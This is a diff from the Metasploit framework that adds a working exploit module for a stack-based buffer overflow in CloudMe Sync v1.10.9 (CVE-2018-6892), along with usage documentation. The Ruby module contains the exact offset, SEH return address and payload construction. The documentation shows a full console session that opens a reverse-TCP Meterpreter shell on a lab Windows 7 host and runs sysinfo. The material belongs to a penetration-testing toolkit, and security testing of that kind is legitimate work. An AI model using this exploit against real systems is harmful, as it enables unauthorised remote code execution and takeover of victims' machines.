Land rapid7#9594, CloudMe Sync v1.10.9 Buffer Overflow

Author: jrobles-r7

documentation/modules/exploit/windows/misc/cloudme_sync.md

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+## Description
+This module exploits a buffer overflow vulnerability in [CloudMe Sync v1.10.9](https://www.cloudme.com/downloads/CloudMe_1109.exe).
+
+## Verification Steps
+  1. Install CloudMe for Desktop version `v1.10.9`
+  2. Start the applicaton (you don't need to create an account)
+  3. Start `msfconsole`
+  4. Do `use exploit/windows/misc/cloudme_sync`
+  5. Do `set RHOST ip`
+  6. Do `set LHOST ip`
+  7. Do `exploit`
+  8. Verify the Meterpreter session is opened
+
+## Scenarios
+
+### CloudMe Sync client application on Windows 7 SP1 x86
+
+```
+msf > use exploit/windows/misc/cloudme_sync 
+msf exploit(windows/misc/cloudme_sync) > set RHOST 172.16.40.148
+RHOST => 172.16.40.148
+msf exploit(windows/misc/cloudme_sync) > set PAYLOAD windows/meterpreter/reverse_tcp
+PAYLOAD => windows/meterpreter/reverse_tcp
+msf exploit(windows/misc/cloudme_sync) > set LHOST 172.16.40.5 
+LHOST => 172.16.40.5
+msf exploit(windows/misc/cloudme_sync) > exploit 
+
+[*] Started reverse TCP handler on 172.16.40.5:4444 
+[*] Sending stage (179779 bytes) to 172.16.40.148
+[*] Meterpreter session 1 opened (172.16.40.5:4444 -> 172.16.40.148:57185) at 2018-02-19 12:35:21 +0000
+
+meterpreter > sysinfo 
+Computer        : PC
+OS              : Windows 7 (Build 7601, Service Pack 1).
+Architecture    : x86
+System Language : pt_PT
+Domain          : WORKGROUP
+Logged On Users : 1
+Meterpreter     : x86/windows
+meterpreter >
+```

modules/exploits/windows/misc/cloudme_sync.rb

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+##
+# This module requires Metasploit: https://metasploit.com/download
+# Current source: https://github.com/rapid7/metasploit-framework
+##
+
+class MetasploitModule < Msf::Exploit::Remote
+  Rank = GreatRanking
+
+  include Msf::Exploit::Remote::Tcp
+  include Msf::Exploit::Remote::Seh
+
+  def initialize(info = {})
+    super(update_info(info,
+      'Name'           => 'CloudMe Sync v1.10.9',
+      'Description'    => %q{
+        This module exploits a stack-based buffer overflow vulnerability
+        in CloudMe Sync v1.10.9 client application. This module has been
+        tested successfully on Windows 7 SP1 x86.
+      },
+      'License'        => MSF_LICENSE,
+      'Author'         =>
+        [
+          'hyp3rlinx',      # Original exploit author
+          'Daniel Teixeira' # MSF module author
+        ],
+      'References'     =>
+        [
+          [ 'CVE', '2018-6892'],
+          [ 'EDB', '44027' ],
+        ],
+      'DefaultOptions' =>
+        {
+          'EXITFUNC' => 'thread'
+        },
+      'Platform'       => 'win',
+      'Payload'        =>
+        {
+          'BadChars'   => "\x00",
+        },
+      'Targets'        =>
+        [
+          [ 'CloudMe Sync v1.10.9',
+            {
+              'Offset' => 2232,
+              'Ret'    => 0x61e7b7f6
+            }
+          ]
+        ],
+      'Privileged'     => true,
+      'DisclosureDate' => 'Jan 17 2018',
+      'DefaultTarget'  => 0))
+
+    register_options([Opt::RPORT(8888)])
+
+  end
+
+  def exploit
+    connect
+
+    buffer = make_nops(target['Offset'])
+    buffer << generate_seh_record(target.ret)
+    buffer << payload.encoded
+
+    sock.put(buffer)
+    handler
+  end
+end